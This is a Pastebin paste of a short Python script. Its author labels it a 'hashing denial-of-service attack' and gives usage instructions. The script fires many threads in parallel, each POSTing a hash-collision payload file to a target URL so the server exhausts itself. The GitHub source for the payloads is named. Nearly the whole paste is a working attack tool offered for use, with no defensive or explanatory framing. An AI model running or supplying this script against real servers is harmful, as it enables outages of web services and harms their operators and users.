Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys, urllib, urllib2, threading
- def hashdos(target, data):
- req = urllib2.Request(target)
- req.add_header('Content-Type', 'application/x-www-form-urlencoded')
- req.add_data(data)
- print(urllib2.urlopen(req).read())
- def usage():
- print('hashing denial-of-service attack')
- print('by masahiro @MasahiroDavid')
- print(' usage : hashdos.py <target> <post data> [numfork]')
- print(' example: hashdos.py http://www.example.jp/recv.php killer.txt 50')
- print('')
- print('You can download post data from ')
- print(' https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision')
- if __name__ == '__main__':
- if len(sys.argv) == 1:
- usage()
- exit()
- target = 'http://www.example.jp/recv.php'
- data = ''
- numfork = 50
- if len(sys.argv) > 1:
- target = sys.argv[1]
- if len(sys.argv) > 2:
- data = open(sys.argv[2]).read()
- if len(sys.argv) > 3:
- numfork = int(sys.argv[3])
- th = {}
- for i in range(numfork):
- th[i] = threading.Thread(target=hashdos, args=(target, data))
- for i in range(numfork):
- th[i].start()
- for i in range(numfork):
- th[i].join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement